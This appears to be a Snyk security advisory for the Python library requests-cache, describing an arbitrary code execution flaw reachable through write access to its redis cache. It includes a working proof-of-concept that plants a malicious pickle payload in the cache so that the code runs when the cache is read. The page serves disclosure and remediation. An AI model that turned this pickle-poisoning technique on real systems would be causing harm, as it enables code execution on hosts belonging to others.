Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Arbitrary Code Execution vulnerabilities in an interactive lesson.
Start learningUpgrade requests-cache
to version 0.6.0.dev1 or higher.
requests-cache is a Persistent cache for requests library
Affected versions of this package are vulnerable to Arbitrary Code Execution via accessing the redis cache (with write permissions).
import requests
import requests_cache
requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()
print("Filling cache.")
response = requests.get("https://example.org")
### attacker's part
print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict
rd = Redis()
class Exploit:
def __reduce__(self):
return (print, ("I won.",))
import pickle
exploit = pickle.dumps(Exploit(), protocol=0)
for key in rd.hgetall("cache:responses").keys():
rd.hset("cache:responses", key, exploit)
print('Attacker: finished')
<h3>end of attacker's part</h3>
print("Accessing cache")
response = requests.get("https://example.org")